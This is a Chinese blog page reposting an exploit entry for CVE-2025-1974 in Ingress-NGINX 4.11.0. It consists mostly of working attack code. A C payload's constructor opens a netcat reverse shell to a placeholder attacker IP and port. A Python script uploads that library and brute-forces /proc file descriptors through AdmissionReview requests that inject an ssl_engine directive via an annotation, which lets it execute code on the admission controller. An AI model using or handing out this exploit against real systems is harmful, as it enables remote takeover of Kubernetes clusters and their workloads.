Ingress-NGINX 4.11.0 远程代码执行漏洞利用详解

本文详细介绍了Ingress-NGINX 4.11.0版本中的远程代码执行漏洞(CVE-2025-1974),包括漏洞利用步骤、shell.c和exploit.py代码实现,以及如何通过AdmissionRequest实现代码执行。

漏洞标题:Ingress-NGINX 4.11.0 - 远程代码执行(RCE)

Google Dork:不适用

日期:2025-06-19

漏洞作者:Likhith Appalaneni

厂商主页:https://kubernetes.github.io/ingress-nginx/

软件链接:https://github.com/kubernetes/ingress-nginx

版本:Kubernetes v1.29.0(Minikube)上的 ingress-nginx v4.11.0

测试环境:Ubuntu 24.04,Minikube vLatest,Docker vLatest

CVE:CVE-2025-1974

漏洞利用步骤

  1. 在 shell.c 中更新攻击者 IP 和监听端口,并编译 shell 载荷:
1
gcc -fPIC -shared -o shell.so shell.c
  1. 运行漏洞利用程序:
1
python3 exploit.py

该漏洞利用程序向易受攻击的 Ingress-NGINX webhook 发送精心构造的 AdmissionRequest,并加载 shell.so 以实现代码执行。

shell.c 代码

1
2
3
4
#include <stdlib.h>
__attribute__((constructor)) void init() {
   system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'"); 
}

exploit.py 代码

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
import json
import requests
import threading
import time
import urllib3
import socket
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def upload_shell_via_socket(file_path, target_host, target_port):
    print("[*] Uploading shell.so via raw socket to keep FD open...")
    try:
        with open(file_path, "rb") as f:
            data = f.read()
        data += b"\x00" * (16384 - len(data) % 16384)
        content_len = len(data) + 2024

        payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data

        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_host, target_port))
        sock.sendall(payload)
        print("[*] Payload sent, holding connection open for 220s...")
        time.sleep(220)
        sock.close()
    except Exception as e:
        print(f"[!] Upload failed: {e}")

def build_payload(pid, fd):
    annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#"
    return {
        "kind": "AdmissionReview",
        "apiVersion": "admission.k8s.io/v1",
        "request": {
            "uid": "exploit-uid",
            "kind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "resource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "requestKind": {
                "group": "networking.k8s.io",
                "version": "v1",
                "kind": "Ingress"
            },
            "requestResource": {
                "group": "networking.k8s.io",
                "version": "v1",
                "resource": "ingresses"
            },
            "name": "example-ingress",
            "operation": "CREATE",
            "userInfo": {
                "username": "kube-review",
                "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d"
            },
            "object": {
                "kind": "Ingress",
                "apiVersion": "networking.k8s.io/v1",
                "metadata": {
                    "name": "example-ingress",
                    "annotations": {
                        "nginx.ingress.kubernetes.io/auth-url": annotation
                    }
                },
                "spec": {
                    "ingressClassName": "nginx",
                    "rules": [
                        {
                            "host": "hello-world.com",
                            "http": {
                                "paths": [
                                    {
                                        "path": "/",
                                        "pathType": "Prefix",
                                        "backend": {
                                            "service": {
                                                "name": "web",
                                                "port": { "number": 8080 }
                                            }
                                        }
                                    }
                                ]
                            }
                        }
                    ]
                }
            },
            "oldObject": None,
            "dryRun": False,
            "options": {
                "kind": "CreateOptions",
                "apiVersion": "meta.k8s.io/v1"
            }
        }
    }

def send_requests(admission_url, pid_range, fd_range):
    for pid in range(pid_range[0], pid_range[1]):
        for fd in range(fd_range[0], fd_range[1]):
            print(f"Trying /proc/{pid}/fd/{fd}")
            payload = build_payload(pid, fd)
            try:
                resp = requests.post(
                    f"{admission_url}/networking/v1/ingresses",
                    headers={"Content-Type": "application/json"},
                    data=json.dumps(payload),
                    verify=False,
                    timeout=5
                )
                result = resp.json()
                msg = result.get("response", {}).get("status", {}).get("message", "")
                if "No such file" in msg or "Permission denied" in msg:
                    continue
                print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}")
            except Exception as e:
                print(f"[-] Error: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974")
    parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)")
    parser.add_argument("--shell", default="shell.so", help="Path to shell.so file")
    parser.add_argument("--pid-start", type=int, default=26)
    parser.add_argument("--pid-end", type=int, default=30)
    parser.add_argument("--fd-start", type=int, default=1)
    parser.add_argument("--fd-end", type=int, default=100)
    args = parser.parse_args()

    host = args.upload_url.split("://")[-1].split(":")[0]
    port = int(args.upload_url.split(":")[-1])

    upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port))
    upload_thread.start()
    time.sleep(3)
    send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end))
    upload_thread.join()
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计